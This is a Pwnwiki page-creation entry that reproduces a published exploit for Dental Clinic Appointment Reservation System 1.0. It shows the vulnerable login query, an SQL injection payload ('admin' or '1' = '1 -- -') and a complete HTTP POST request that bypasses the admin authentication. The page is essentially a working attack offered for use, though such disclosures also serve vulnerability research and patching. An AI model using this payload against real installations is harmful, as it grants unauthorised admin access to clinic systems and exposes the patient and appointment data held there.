Pwnwiki: Created page with "==EXP==

 # Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepa..."

2021-05-13T09:24:48Z

Created page with "==EXP== <pre> # Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepa..."

New page

==EXP==
<pre>
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# Attacker can bypass admin login page due to unsanitized user input and access internal contents
# vulnerable code in /admin/index.php, line 34:
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
# payload: admin' or '1' = '1 -- -

# Proof of concept:
http://localhost/admin/index.php

POST /admin/index.php HTTP/1.1
Host: localhost
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

username=admin'+or+'1'%3d1+--+-&password=test&submit=
</pre>

Dental Clinic Appointment Reservation System 1.0 身份驗證繞過漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepa..."